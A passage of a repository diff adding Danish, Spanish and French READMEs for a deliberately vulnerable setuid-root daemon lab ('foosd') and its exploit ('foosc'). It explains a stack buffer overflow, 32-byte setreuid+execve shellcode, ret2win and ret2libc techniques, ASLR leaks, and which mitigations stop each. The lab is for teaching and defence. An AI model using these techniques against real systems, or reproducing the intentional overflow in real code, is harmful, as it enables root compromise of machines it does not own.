- **Least privilege.** En daemon til en uprivilegeret port (2343 > 1024) har
|
||||||
|
intet legitimt behov for root. En korrekt `foosd` ville binde og derefter
|
||||||
|
`setgroups`/`setgid`/`setuid` til en uprivilegeret konto og *bekræfte, at det
|
||||||
|
holdt* (den korrekte version står i kilden som `drop_privs()`, aldrig kaldt —
|
||||||
|
ikke-kaldelsen er laboratoriets fejl nr. 3).
|
||||||
|
- **Begræns read'et.** `n = read(fd, buf, sizeof(buf) - 1)`. Én korrekt linje
|
||||||
|
overgår hvert compiler-flag i tabellen.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 9. Wire-protokollen (så du kan læse daemonen med netcat)
|
||||||
|
|
||||||
|
```text
|
||||||
|
FOOSD 1.0 - deliberately vulnerable SUID service
|
||||||
|
Type 'quit' to disconnect. Buffer = 64 bytes, read accepts 512.
|
||||||
|
FOOSD 1.0 ids=0/1000 leak stack=0x7ffd... libc=0x7f...
|
||||||
|
BUF=0x7ffd...
|
||||||
|
```
|
||||||
|
|
||||||
|
* `ids=euid/ruid` — kunne ikke printes som `euid=`/`ruid=`, fordi test-harnessen
|
||||||
|
beviser en shell ved at greppe efter det bogstavelige `uid=`, og banneret må
|
||||||
|
ikke indeholde det (en sonde, der deler signatur med svaret, er en klassisk
|
||||||
|
falsk-positiv-fælde; se kommentaren i `foosd.c`). Harnessen kræver desuden
|
||||||
|
den strenge `id`-outputform — `uid=NNN(...)` — så intet, daemonen eller
|
||||||
|
exploitet printer, kan opfylde tjekket ved et tilfælde: `foosc`s eget
|
||||||
|
"target euid=… ruid=…" indeholder `uid=` som delstreng, hvilket engang fik en
|
||||||
|
hærdet test til at melde en shell, der aldrig havde kørt.
|
||||||
|
* `stack=`, `libc=`, `BUF=` — ASLR-leaksene: lader shellcode og ret2libc
|
||||||
|
beregne eksakte adresser.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 10. Øvelser
|
||||||
|
|
||||||
|
1. **Betragt ikke-root-nedgraderingen.** Kør `make test` *før* `make setuid`,
|
||||||
|
og derefter igen bagefter. Forklar `ROOT=SEEN`-ændringen med
|
||||||
|
ruid/euid-historien i §5.2.
|
||||||
|
2. **Læs nedbruddet.** Kør `./foosc -t demo -n` og læs derefter `foosd.log`.
|
||||||
|
Linjen `RIP=0x4141414141414141` er angriberens padding — beviset på, at
|
||||||
|
overløbet, ikke uheld, kontrollerer udførelsen.
|
||||||
|
3. **Tilføj canaryen.** `make hardened` og ændr selv `test-hardened`-løkken;
|
||||||
|
loglinjen `*** stack smashing detected ***` er forsvaret, der virker.
|
||||||
|
4. **Deaktiver leaket.** Kommentér `BUF=`-linjen i `foosd.c` ud, genbyg, og se
|
||||||
|
`-t shellcode` gå fra deterministisk til et gættespil. Den ene linje er
|
||||||
|
grunden til, at ægte ASLR-bypasses er et helt felt.
|
||||||
|
5. **`-p`-eksperimentet.** Ændr i en kopi af `win()` `execl("/bin/sh", "sh",
|
||||||
|
NULL)` til `execl("/bin/sh", "sh", "-p", NULL)` og observer root. `-p` er
|
||||||
|
den dokumenterede nødudgang fra shellens vagt — og grunden til, at rådet
|
||||||
|
"spawn bare en shell" fra gamle write-ups er ufuldstændigt.
|
||||||
|
6. **Hvorfor ikke `setuid(0)`?** Omskriv shellcoden til at kalde `setuid(0)`
|
||||||
|
i stedet for `setreuid(0,0)` (syscall 105). Shellen lander stadig — og
|
||||||
|
falder stadig til `uid=1000`. Det er det mest lærerige en-linjes-eksperiment
|
||||||
|
i hele repositoryet.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 11. Sikkerhed og oprydning
|
||||||
|
|
||||||
|
- Kun loopback, som standard og efter design; `-L` binder længere, og kun en
|
||||||
|
velegnet-til-at-smid-væk-VM bør overhovedet overveje det.
|
||||||
|
- Dette er et root-shell-laboratorium. Kør det ikke på en maskine, der
|
||||||
|
betyder noget, og peg ikke `foosc -h` mod noget, du ikke ejer.
|
||||||
|
- Oprydningsritual: `make stop` og derefter `make unsetuid`, og hvis du vil
|
||||||
|
have træet pletfrit igen: `sudo make clean`.
|
||||||
|
|
||||||
|
```console
|
||||||
|
$ make stop
|
||||||
|
$ make unsetuid
|
||||||
|
```
|
||||||
399
suid/README.ES.md
Normal file
399
suid/README.ES.md
Normal file
|
|
@ -0,0 +1,399 @@
|
||||||
|
# Laboratorio de RCE root por SUID — `foosd` (demonio) + `foosc` (exploit)
|
||||||
|
|
||||||
|
Un compañero del laboratorio principal (`food` / `fooc`, un demonio normal donde
|
||||||
|
un desbordamiento de búfer te da un shell de *usuario*). Este añade el cambio de
|
||||||
|
un solo carácter más peligroso de Unix: **el bit setuid**.
|
||||||
|
|
||||||
|
> `chmod u+s` convierte "el atacante puede ejecutar código en este host" en "el
|
||||||
|
> atacante puede ejecutar código como **root** en este host".
|
||||||
|
|
||||||
|
Esa frase es todo el laboratorio. Todo lo que sigue es el mecanismo que tiene
|
||||||
|
debajo, escrito, para que cuando escribas tu propio software sepas
|
||||||
|
exactamente qué dos o tres atributos del sistema de archivos y flags del
|
||||||
|
compilador deciden si un error de seguridad de memoria en tu código es una
|
||||||
|
molestia o un shell root.
|
||||||
|
|
||||||
|
La demo final, cuando `foosd` es setuid-root, es un **shell root** abierto a
|
||||||
|
través de la red ejecutando 32 bytes de shellcode escrita a mano.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. Qué hace realmente el bit setuid
|
||||||
|
|
||||||
|
Cada proceso en Linux lleva tres user-ID, y el bit setuid toca la relación
|
||||||
|
entre ellos:
|
||||||
|
|
||||||
|
| ID | Nombre | Significado |
|
||||||
|
|----|------|---------|
|
||||||
|
| `ruid` | user-ID real | la cuenta que *inició* el proceso |
|
||||||
|
| `euid` | user-ID efectivo | lo que el kernel comprueba al imponer el acceso |
|
||||||
|
| (saved) | set-user-ID guardado | una "ranura" a la que un proceso privilegiado puede volver más tarde |
|
||||||
|
|
||||||
|
Un programa normal tiene `ruid == euid`. Cuando ejecutas un binario con el bit
|
||||||
|
setuid puesto, propiedad de root:
|
||||||
|
|
||||||
|
```text
|
||||||
|
ruid = tú (p. ej. 1000, "hanez")
|
||||||
|
euid = el dueño (p. ej. 0, "root")
|
||||||
|
```
|
||||||
|
|
||||||
|
El proceso tiene por tanto **la autoridad de root**, aunque el usuario que lo
|
||||||
|
inició sea perfectamente normal. Cada comprobación que hace el kernel — ¿puede
|
||||||
|
este proceso leer `/etc/shadow`? ¿escribir un archivo? ¿matar a otro proceso? —
|
||||||
|
se responde con `euid`, es decir, "sí, es root".
|
||||||
|
|
||||||
|
`foosd` es un demonio de red. Enlaza un puerto y luego hace `fork()` de un hijo
|
||||||
|
por conexión. Un fork *hereda* el euid, así que cada hijo que gestiona una
|
||||||
|
conexión también es root. El desbordamiento en `vulnerable_handler()` de
|
||||||
|
`foosd` es por tanto un desbordamiento *dentro de un proceso root*.
|
||||||
|
|
||||||
|
**Diagnostícalo tú mismo cuando el demonio esté corriendo:**
|
||||||
|
|
||||||
|
```console
|
||||||
|
$ ./foosd ... # mira la línea de log que imprime al arrancar
|
||||||
|
[foosd 1234] startup: ruid=1000 euid=0 -> ROOT process
|
||||||
|
```
|
||||||
|
|
||||||
|
y desde el exploit:
|
||||||
|
|
||||||
|
```console
|
||||||
|
$ ./foosc -t leak
|
||||||
|
foosc: target euid=0 ruid=1000
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 2. El laboratorio de un vistazo
|
||||||
|
|
||||||
|
| Archivo | Rol |
|
||||||
|
|------|------|
|
||||||
|
| `foosd.c` | El demonio deliberadamente vulnerable (dueño de los errores). Ejecútalo como *binario setuid-root* para la demo del shell root. |
|
||||||
|
| `foosc.c` | El exploit. Usa por defecto la técnica de shellcode `setreuid + execve` de 32 bytes. |
|
||||||
|
| `shellcode.S` | El shellcode de referencia; `make verify` lo compara con el array de bytes en `foosc.c`. |
|
||||||
|
| `tests/pty_suid_test.c` | Harness de prueba. Conduce a `foosc` a través de un pseudo-terminal y prueba tanto "corrió un shell" *como* "era root" (`uid=0(`). |
|
||||||
|
| `Makefile` | Compilación, helpers `setuid`/`unsetuid`, matriz de prueba. |
|
||||||
|
| `README.md` | Este archivo. |
|
||||||
|
|
||||||
|
> **¿Por qué una pty?** La última acción del exploit es retransmitir tu
|
||||||
|
> terminal al shell que corre en la víctima. Un pipe o un here-doc llega al
|
||||||
|
> lado equivocado de esa retransmisión; se requiere un terminal real.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 3. Inicio rápido
|
||||||
|
|
||||||
|
```console
|
||||||
|
$ make # compila todo, como tu usuario normal
|
||||||
|
$ make setuid # una vez, pide sudo: chown root + chmod u+s
|
||||||
|
$ make run # arranca foosd en 127.0.0.1:2343
|
||||||
|
$ make test-suid # matriz completa; shellcode + ret2win-root deben dar root
|
||||||
|
```
|
||||||
|
|
||||||
|
Prueba de humo interactiva:
|
||||||
|
|
||||||
|
```console
|
||||||
|
$ ./foosc -t shellcode
|
||||||
|
...
|
||||||
|
foosc: target euid=0 ruid=1000
|
||||||
|
foosc: shell is on the victim (root if foosd is SUID); relaying
|
||||||
|
# id
|
||||||
|
uid=0(root) gid=0(root) groups=0(root) <-- eres root, en la víctima
|
||||||
|
# exit
|
||||||
|
```
|
||||||
|
|
||||||
|
Cuando termines:
|
||||||
|
|
||||||
|
```console
|
||||||
|
$ make stop
|
||||||
|
$ make unsetuid # higiene: no dejes nunca un binario root SUID suelto
|
||||||
|
```
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 4. *¿Cuándo pongo el bit SUID?* — la respuesta que pediste
|
||||||
|
|
||||||
|
Exactamente **una vez, después de compilar, antes de arrancar el demonio para
|
||||||
|
las demos de shell root** — y solo en una máquina que sea tuya, apta para tirar
|
||||||
|
y desconectada de la red:
|
||||||
|
|
||||||
|
```console
|
||||||
|
$ make # compila foosd, foosc, las pruebas
|
||||||
|
$ make setuid # <-- EL MOMENTO. sudo chown root:root foosd && sudo chmod u+s foosd
|
||||||
|
$ make run # arranca DESPUÉS de poner el bit
|
||||||
|
```
|
||||||
|
|
||||||
|
Dos reglas que importan más que el momento exacto:
|
||||||
|
|
||||||
|
1. **Ponlo solo cuando el binario esté terminado.** Si recompilas (`make` /
|
||||||
|
`make clean`) después de poner el bit, te topas con "Permission denied" al
|
||||||
|
escribir los archivos de salida propiedad de root — y si fuerzas la
|
||||||
|
recompilación, el toolchain recrea el archivo **sin** la `s` y deshace la
|
||||||
|
configuración en silencio. El orden canónico en cualquier recompilación es
|
||||||
|
por tanto
|
||||||
|
|
||||||
|
```console
|
||||||
|
$ make unsetuid && make && make setuid
|
||||||
|
```
|
||||||
|
|
||||||
|
2. **Quítalo cuando termines.** `make unsetuid`. Un binario setuid vivo,
|
||||||
|
propiedad de root, con un error explotable en tu árbol no es una herramienta
|
||||||
|
pedagógica, es un agujero root con un error de compilación entre él y nada.
|
||||||
|
En una máquina compartida o de producción: **no hagas nada de esto.** El
|
||||||
|
demonio además se niega por defecto a enlazarse a nada que no sea loopback
|
||||||
|
(ver §7).
|
||||||
|
|
||||||
|
Si ejecutas el exploit *sin* poner nunca el bit, nada se rompe — el payload
|
||||||
|
sigue aterrizando y sigues obteniendo un shell. La diferencia está en un solo
|
||||||
|
número, y el exploit lo dice en voz alta:
|
||||||
|
|
||||||
|
```console
|
||||||
|
foosc: WARNING: the daemon is NOT running with euid 0.
|
||||||
|
The payload will still land, but the shell will be
|
||||||
|
a plain user shell, not root.
|
||||||
|
Fix: sudo make setuid
|
||||||
|
```
|
||||||
|
|
||||||
|
El resultado "funcionó, pero no root" es en sí parte del laboratorio.
|
||||||
|
Recuérdalo para la siguiente sección.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 5. El mecanismo — y el giro que hace interesante a SUID
|
||||||
|
|
||||||
|
### 5.1 El desbordamiento (idéntico a `food`)
|
||||||
|
|
||||||
|
El handler de `foosd` da a un `read()` 512 bytes de confianza mientras le
|
||||||
|
ofrece un búfer de pila de 64 bytes:
|
||||||
|
|
||||||
|
```c
|
||||||
|
char buf[64];
|
||||||
|
n = read(fd, buf, 512); /* <- CWE-120: 448 bytes sobre el borde */
|
||||||
|
```
|
||||||
|
|
||||||
|
En x86-64 la pila crece hacia abajo. El exploit escribe 64 bytes de basura para
|
||||||
|
llenar `buf`, 8 para llenar el puntero de marco guardado y 8 más para
|
||||||
|
reemplazar la **dirección de retorno guardada**. Cuando `vulnerable_handler`
|
||||||
|
ejecuta `ret`, la CPU hace pop del valor del atacante en `RIP` — ejecución de
|
||||||
|
código controlada por el atacante. El exploit encuentra la distancia exacta (88
|
||||||
|
bytes para esta compilación) analizando la salida de `objdump` en lugar de
|
||||||
|
hardcodearla, así que el número sobrevive a las recompilaciones.
|
||||||
|
|
||||||
|
### 5.2 El giro: el shell se niega a ser root
|
||||||
|
|
||||||
|
Aquí es donde pensar "bug SUID → spawn /bin/sh → root" iría mal, y por qué este
|
||||||
|
laboratorio tiene exactamente la forma que tiene.
|
||||||
|
|
||||||
|
Cuando corre un programa setuid-root, su `ruid` sigue siendo el usuario que lo
|
||||||
|
inició y su `euid` es root. Si el programa — o el atacante — lanza ahora un
|
||||||
|
shell:
|
||||||
|
|
||||||
|
* `execve("/bin/sh")` **no** cambia los uids; el nuevo proceso hereda
|
||||||
|
`(ruid=1000, euid=0)`.
|
||||||
|
* bash (y dash) **comprueba exactamente ese estado al arrancar**. Del manual de
|
||||||
|
bash: *"If the shell is started with the effective user (group) id not equal
|
||||||
|
to the real user (group) id, and the -p option is not supplied, … the
|
||||||
|
effective user id is set to the real user id."*
|
||||||
|
|
||||||
|
Así que el shell se mira y *suelta root* — una defensa que los autores de
|
||||||
|
shell construyeron exactamente contra este ataque (la justificación histórica
|
||||||
|
era el problema de las shells setuid / scripts setuid). El resultado son los
|
||||||
|
casos "funcionó, pero no root":
|
||||||
|
|
||||||
|
| Técnica | Qué ejecuta | uid resultante |
|
||||||
|
|-----------|------------------|---------------|
|
||||||
|
| `ret2win` | el `win()` de `foosd` → `execl("/bin/sh")` | **1000** — shell aterrizado, root reseteado por bash |
|
||||||
|
| `ret2libc` | `system("/bin/sh")` → `sh -c '/bin/sh'` fresco | **1000** — el mismo reset, un nivel abajo |
|
||||||
|
| `ret2win-root` | el `win_root()` de `foosd` → `setreuid(0,0); execl("/bin/sh")` | **0** — ruid limpiado desde C |
|
||||||
|
| `shellcode` | 32 bytes: `setreuid(0,0); execve("/bin/sh")` | **0** — ruid limpiado desde código máquina |
|
||||||
|
|
||||||
|
Las que alcanzan root se diferencian de las que no lo hacen en exactamente una
|
||||||
|
idea: **limpian el uid *real*, no solo el efectivo.**
|
||||||
|
|
||||||
|
```c
|
||||||
|
setuid(0) /* pone euid a 0, pero ruid sigue en 1000:
|
||||||
|
bash sigue viendo euid != ruid y resetea IGUAL. */
|
||||||
|
setreuid(0, 0) /* pone AMBOS: ruid = euid = 0.
|
||||||
|
bash ve uids iguales y conserva root. */
|
||||||
|
```
|
||||||
|
|
||||||
|
Por eso el shellcode `/bin/sh` clásico que encuentras por todo internet
|
||||||
|
empieza con un syscall de limpieza de uid — y por eso el shellcode aquí es de
|
||||||
|
32 bytes en lugar de 23: las primeras cinco instrucciones son
|
||||||
|
|
||||||
|
```asm
|
||||||
|
xor edi, edi ; ruid = 0
|
||||||
|
xor esi, esi ; euid = 0
|
||||||
|
push 0x71 ; 113 = __NR_setreuid
|
||||||
|
pop rax
|
||||||
|
syscall
|
||||||
|
```
|
||||||
|
|
||||||
|
### 5.3 Entonces, ¿qué es el exploit, de principio a fin?
|
||||||
|
|
||||||
|
1. `foosc` lee el banner de `foosd` por el socket. Obtiene:
|
||||||
|
- `ids=0/1000` — euid/ruid (el autodiagnóstico SUID)
|
||||||
|
- `stack=…` y `libc=…` — punteros (las fugas de ASLR)
|
||||||
|
- `BUF=…` — la dirección exacta del búfer que está a punto de desbordar
|
||||||
|
2. Del binario objetivo (vía `objdump`) aprende `rip_off` y las direcciones de
|
||||||
|
`win()` / `win_root()`.
|
||||||
|
3. De *su propia* libc (vía `/proc/self/maps` + `dlsym` + un escaneo de memoria)
|
||||||
|
mide los offsets de `system`, `read`, `/bin/sh` y un gadget `pop rdi; ret` —
|
||||||
|
nada está hardcodeado.
|
||||||
|
4. Ensambla el payload. Para `-t shellcode`, es:
|
||||||
|
`[código setreuid+execve de 32 bytes][basura hasta RIP][ret-fix][dirección de buf]`.
|
||||||
|
5. El `read()` de `foosd` se desborda; el `ret` aterriza en el shellcode; el
|
||||||
|
kernel ejecuta `setreuid(0,0)` (sin problema: euid 0 es privilegiado) y luego
|
||||||
|
`execve` de `/bin/sh`. bash arranca con `ruid == euid == 0` y sigue siendo
|
||||||
|
root.
|
||||||
|
6. `foosc` retransmite tu terminal a ese shell root, hasta que escribes `exit`.
|
||||||
|
|
||||||
|
Un detalle de comodidad que cuesta caro a la gente si se pasa por alto: el
|
||||||
|
exploit prueba cada comportamiento de limpieza de uid **sin** necesitar primero
|
||||||
|
el bit setuid. Ejecuta `make test` antes de `make setuid`, y verás cada técnica
|
||||||
|
aterrizar un shell con `ROOT=MISSING`; ejecuta `make test-suid` después de
|
||||||
|
`make setuid`, y `ROOT=SEEN` aparece en las dos técnicas que limpian el uid
|
||||||
|
real. Ese A/B es toda la lección, representada en diez segundos.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 6. Los viejos one-liners — y por qué la mayoría están muertos
|
||||||
|
|
||||||
|
Si has leído sobre SUID, has leído sobre secuestro de `PATH`, `LD_PRELOAD` y
|
||||||
|
shells setuid. Los tres son clásicos, y los tres fallan en un sistema moderno
|
||||||
|
contra *este programa*. Vale la pena saber exactamente por qué, porque las
|
||||||
|
razones son las defensas que obtienes gratis:
|
||||||
|
|
||||||
|
| Clase de ataque | Vieja afirmación | Por qué falla en una máquina moderna |
|
||||||
|
|--------------|-----------|------------------------------|
|
||||||
|
| `LD_PRELOAD` de una biblioteca maliciosa | "El programa setuid carga mi `.so` y ejecuta mi código como root." | El kernel marca un binario setuid como **AT_SECURE**; glibc ignora entonces `LD_PRELOAD`, `LD_LIBRARY_PATH`, `LD_DEBUG` y compañía. El entorno se trata como *entrada no confiable*. `LD_PRELOAD` contra un binario setuid es un no-op. |
|
||||||
|
| Secuestro de `PATH` (`system("ls")` con un PATH envenenado) | "Apunta PATH a un directorio con mi `ls` falso; el programa root lo ejecutará." | Otra cara de la misma defensa: un proceso AT_SECURE recibe un **PATH saneado** (un valor por defecto seguro, más o menos `/usr/local/bin:/usr/bin:/bin`) para `system()`/`execvp`, así que el directorio envenenado nunca se consulta. |
|
||||||
|
| Inyección de comando `system()` setuid | "El comando inyectado se ejecuta con euid 0." | `system()` ejecuta el comando en un `/bin/sh` nuevo, y ese shell — §5.2 — resetea `euid = ruid` al arrancar. El comando inyectado se ejecuta con el uid *real*. (Sigue siendo un error; solo que ya no escala vía `/bin/sh`.) |
|
||||||
|
| Shell root setuid en disco (`cp /bin/sh /tmp; chmod u+s`) | "Ejecútalo, consigue root." | Exactamente la defensa de arriba, y esa es la razón por la que las distros modernas no entregan ningún shell root setuid. Incluso si consigues fabricar uno, bash se niega a mantener euid 0 salvo que se inicie con `-p`. |
|
||||||
|
|
||||||
|
Lo que sigue vivo, y eso es este laboratorio: **el programa *ya* es root cuando
|
||||||
|
corre.** No necesitas el entorno ni `system()`; necesitas que el programa
|
||||||
|
ejecute *tu* código (vía un error de corrupción de memoria) mientras es
|
||||||
|
privilegiado, y que tu código sea lo bastante cuidadoso para corregir él mismo
|
||||||
|
el desajuste de uids — `setreuid(0,0)` — antes de entregarte un shell. La
|
||||||
|
corrupción de memoria + SUID es la combinación que todavía termina en `uid=0`,
|
||||||
|
y eso es exactamente por qué los lenguajes seguros en memoria, las canaries y
|
||||||
|
las pilas no-ejecutables no son una decisión de moda.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 7. Las barandillas de seguridad integradas en el demonio
|
||||||
|
|
||||||
|
`foosd` es deliberadamente la *peor* pieza de software de este repositorio, así
|
||||||
|
que también lleva más barandillas:
|
||||||
|
|
||||||
|
1. **Solo loopback, impuesto.** `foosd` rechaza cualquier dirección de bind
|
||||||
|
fuera del loopback, salvo que pases `-L`. Un listener setuid-root en una
|
||||||
|
interfaz real es un servicio root remoto; el rechazo es el valor por defecto,
|
||||||
|
para que el estado peligroso tenga que escribirse deliberadamente.
|
||||||
|
2. **Autodiagnóstico.** Al arrancar registra `ruid`/`euid` y si corre como root,
|
||||||
|
para que la consola muestre el estado del que depende el exploit.
|
||||||
|
3. **El log nunca llega al cliente.** El demonio reserva un descriptor de log
|
||||||
|
privado antes de que los sockets reemplacen a fd 1, para que la salida del
|
||||||
|
crash-reporter y las rutas internas no puedan leerse de vuelta por el cable
|
||||||
|
por el atacante.
|
||||||
|
4. **Crash-reporter.** Un handler de SIGSEGV registra `RIP`/`RSP` — el valor que
|
||||||
|
el atacante escribió en la dirección de retorno — para que una toma de
|
||||||
|
control exitosa sea visible en `foosd.log` en lugar de ser una muerte
|
||||||
|
silenciosa.
|
||||||
|
5. **`make unsetuid`.** Quitar el bit está scripteado, porque dejarlo puesto es
|
||||||
|
el modo de fallo que la gente realmente tiene.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 8. Mitigaciones — qué detiene cada una y qué *no* detiene
|
||||||
|
|
||||||
|
Aplicadas a `foosd` vía `make hardened`, una a una o juntas:
|
||||||
|
|
||||||
|
| Mitigación | Qué detiene | Qué *no* detiene |
|
||||||
|
|------------|---------------|-------------------------|
|
||||||
|
| `-fstack-protector-strong` (canary) | El desbordamiento: `ret` detecta una canary destruida y aborta antes de que se use la dirección del atacante. Detiene aquí **las cuatro** técnicas — comparten el único `read()` vulnerable. | Nada por *diseño*: el binario sigue siendo setuid-root; otro error (format-string-`%n`, heap-overflow, use-after-free) no tiene canary que disparar. |
|
||||||
|
| `-fPIE -pie` (ASLR para el binario) | El uso de direcciones `win()`/`win_root()` predecibles (las técnicas ret2win). | La técnica de shellcode, si todavía se filtra una dirección de pila (línea `BUF=`). |
|
||||||
|
| `-z noexecstack` (NX / W^X) | El shellcode: la CPU se niega a buscar instrucciones en una página solo-de-datos, así que un salto a `buf` es un SIGSEGV. | ROP — ejecutar código que ya existe (`ret2libc`). |
|
||||||
|
| Las tres juntas | Un binario difícil de desbordar, randomizado, con pila no ejecutable. Así se ve una build endurecida normal. | El bit setuid. **Un binario SUID endurecido sigue siendo un binario SUID.** Si sobrevive cualquier error de memoria alcanzable, sigue siendo "error en un proceso root". |
|
||||||
|
|
||||||
|
La prueba en consola es `make test-hardened`, que intercambia la build
|
||||||
|
endurecida y muestra las técnicas muriendo en la canary, mientras
|
||||||
|
`foosd_hardened.log` captura `*** stack smashing detected ***`.
|
||||||
|
|
||||||
|
Dos mitigaciones de nivel de diseño que ningún flag de compilador entrega, y
|
||||||
|
que el laboratorio principal (`food`) también usa:
|
||||||
|
|
||||||
|
- **Mínimo privilegio.** Un demonio para un puerto no privilegiado (2343 >
|
||||||
|
1024) no tiene ninguna necesidad legítima de root. Un `foosd` correcto
|
||||||
|
enlazaría y luego haría `setgroups`/`setgid`/`setuid` a una cuenta no
|
||||||
|
privilegiada y *confirmaría que se mantuvo* (la versión correcta está en la
|
||||||
|
fuente como `drop_privs()`, nunca llamada — el no-lamarlo es el error n.º 3
|
||||||
|
del laboratorio).
|
||||||
|
- **Limita el read.** `n = read(fd, buf, sizeof(buf) - 1)`. Una línea correcta
|
||||||
|
supera a todos los flags de compilador de la tabla.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 9. El protocolo wire (para que puedas leer el demonio con netcat)
|
||||||
|
|
||||||
|
```text
|
||||||
|
FOOSD 1.0 - deliberately vulnerable SUID service
|
||||||
|
Type 'quit' to disconnect. Buffer = 64 bytes, read accepts 512.
|
||||||
|
FOOSD 1.0 ids=0/1000 leak stack=0x7ffd... libc=0x7f...
|
||||||
|
BUF=0x7ffd...
|
||||||
|
```
|
||||||
|
|
||||||
|
* `ids=euid/ruid` — no podía imprimirse como `euid=`/`ruid=`, porque el harness
|
||||||
|
de prueba prueba un shell haciendo grep del `uid=` literal, y el banner no
|
||||||
|
debe contenerlo (una sonda que comparte la firma con la respuesta es una
|
||||||
|
trampa clásica de falso positivo; ver el comentario en `foosd.c`). El harness
|
||||||
|
además exige la forma estricta de salida `id` — `uid=NNN(...)` — para que nada
|
||||||
|
de lo que imprima el demonio o el exploit pueda satisfacer la comprobación
|
||||||
|
por accidente: el propio "target euid=… ruid=…" de `foosc` contiene `uid=`
|
||||||
|
como subcadena, lo que una vez hizo que una prueba endurecida reportara un
|
||||||
|
shell que nunca había corrido.
|
||||||
|
* `stack=`, `libc=`, `BUF=` — las fugas de ASLR: dejan que el shellcode y
|
||||||
|
ret2libc calculen direcciones exactas.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 10. Ejercicios
|
||||||
|
|
||||||
|
1. **Considera la degradación no-root.** Ejecuta `make test` *antes* de `make
|
||||||
|
setuid`, y luego otra vez después. Explica el cambio a `ROOT=SEEN` con la
|
||||||
|
historia ruid/euid de la §5.2.
|
||||||
|
2. **Lee el crash.** Ejecuta `./foosc -t demo -n` y luego lee `foosd.log`. La
|
||||||
|
línea `RIP=0x4141414141414141` es la basura del atacante — la prueba de que
|
||||||
|
es el desbordamiento, no el azar, quien controla la ejecución.
|
||||||
|
3. **Añade la canary.** `make hardened` y modifica tú mismo el bucle
|
||||||
|
`test-hardened`; la línea de log `*** stack smashing detected ***` es la
|
||||||
|
defensa funcionando.
|
||||||
|
4. **Desactiva la fuga.** Comenta la línea `BUF=` en `foosd.c`, recompila, y
|
||||||
|
mira `-t shellcode` pasar de determinista a un juego de adivinanzas. Esa
|
||||||
|
única línea es la razón por la que los bypass reales de ASLR son todo un
|
||||||
|
campo.
|
||||||
|
5. **El experimento `-p`.** En una copia de `win()`, cambia `execl("/bin/sh",
|
||||||
|
"sh", NULL)` por `execl("/bin/sh", "sh", "-p", NULL)` y observa root. `-p`
|
||||||
|
es la salida de emergencia documentada del guardián del shell — y la razón
|
||||||
|
por la que el consejo "solo haz spawn de un shell" de los viejos write-ups es
|
||||||
|
incompleto.
|
||||||
|
6. **¿Por qué no `setuid(0)`?** Reescribe el shellcode para llamar a `setuid(0)`
|
||||||
|
en lugar de `setreuid(0,0)` (syscall 105). El shell sigue aterrizando — y
|
||||||
|
sigue cayendo a `uid=1000`. Es el experimento de una sola línea más
|
||||||
|
instructivo de todo el repositorio.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 11. Seguridad y limpieza
|
||||||
|
|
||||||
|
- Solo loopback, por defecto y por diseño; `-L` enlaza más lejos, y solo una VM
|
||||||
|
apta para tirar debería siquiera considerarlo.
|
||||||
|
- Esto es un laboratorio de shell root. No lo ejecutes en una máquina que
|
||||||
|
importe, y no apuntes `foosc -h` a algo que no poseas.
|
||||||
|
- Rito de limpieza: `make stop` y luego `make unsetuid`, y si quieres el árbol
|
||||||
|
impecable otra vez: `sudo make clean`.
|
||||||
|
|
||||||
|
```console
|
||||||
|
$ make stop
|
||||||
|
$ make unsetuid
|
||||||
|
```
|
||||||
404
suid/README.FR.md
Normal file
404
suid/README.FR.md
Normal file
|
|
@ -0,0 +1,404 @@
|
||||||
|
# Lab RCE racine par SUID — `foosd` (démon) + `foosc` (exploit)
|
||||||
|
|
||||||
|
Un compagnon du laboratoire principal (`food` / `fooc`, un démon ordinaire où
|
||||||
|
un débordement de tampon vous donne un shell *utilisateur*). Celui-ci ajoute le
|
||||||
|
changement d'un seul caractère le plus dangereux d'Unix : **le bit setuid**.
|
||||||
|
|
||||||
|
> `chmod u+s` transforme « l'attaquant peut exécuter du code sur cette machine »
|
||||||
|
> en « l'attaquant peut exécuter du code en tant que **root** sur cette
|
||||||
|
> machine ».
|
||||||
|
|
||||||
|
Cette phrase, c'est tout le laboratoire. Tout ce qui suit est le mécanisme
|
||||||
|
qu'il y a dessous, écrit noir sur blanc, pour que lorsque vous écrivez votre
|
||||||
|
propre logiciel, vous sachiez précisément quels deux ou trois attributs de
|
||||||
|
système de fichiers et flags de compilateur décident si un bug de sécurité
|
||||||
|
mémoire dans votre code est une nuisance ou un shell root.
|
||||||
|
|
||||||
|
La démo finale, quand `foosd` est setuid-root, est un **shell root** ouvert sur
|
||||||
|
le réseau en exécutant 32 octets de shellcode écrite à la main.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 1. Ce que fait réellement le bit setuid
|
||||||
|
|
||||||
|
Chaque processus Linux porte trois user-ID, et le bit setuid touche à la
|
||||||
|
relation entre eux :
|
||||||
|
|
||||||
|
| ID | Nom | Signification |
|
||||||
|
|----|------|---------|
|
||||||
|
| `ruid` | user-ID réel | le compte qui a *démarré* le processus |
|
||||||
|
| `euid` | user-ID effectif | ce que le noyau vérifie quand il applique les accès |
|
||||||
|
| (saved) | set-user-ID sauvegardé | un « créneau » auquel un processus privilégié peut revenir plus tard |
|
||||||
|
|
||||||
|
Un programme normal a `ruid == euid`. Quand vous exécutez un binaire avec le
|
||||||
|
bit setuid posé, appartenant à root :
|
||||||
|
|
||||||
|
```text
|
||||||
|
ruid = vous (ex. 1000, « hanez »)
|
||||||
|
euid = le propriétaire (ex. 0, « root »)
|
||||||
|
```
|
||||||
|
|
||||||
|
Le processus a donc **l'autorité de root**, même si l'utilisateur qui l'a
|
||||||
|
lancé est parfaitement ordinaire. Chaque contrôle que le noyau effectue — ce
|
||||||
|
